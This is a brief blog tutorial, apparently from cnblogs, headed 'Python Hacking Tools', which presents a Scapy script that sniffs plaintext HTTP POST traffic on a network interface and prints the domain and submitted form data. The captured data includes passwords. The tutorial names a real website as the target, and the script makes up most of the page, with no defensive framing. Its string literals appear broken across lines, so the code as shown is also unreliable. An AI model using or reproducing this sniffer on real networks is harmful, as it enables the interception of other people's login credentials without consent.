Python Hacking Tools

Password Sniffing with Scapy

1. Download and install the Scapy first.

pip install scapy

https://scapy.net/

2. Target Website

https://aavtrain.com/index.asp

3. Write the Python code

from scapy.all import *

def sniffer(packet):
    http_packet = packet
    if 'POST' in str(http_packet):
        domain = str(http_packet).split("
")[1].split(":")[1]
        data = str(http_packet).split("

")[1]
        print "*" * 20
        print "Domain: " + domain
        print "Data: " + data
        print "*" * 20
        print "

"

sniff(iface="eth0", prn=sniffer, filter="tcp port 80")

4. Execute the Python code and visit the target website through Firefox.

相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。
原文地址:https://www.cnblogs.com/keepmoving1113/p/11331179.html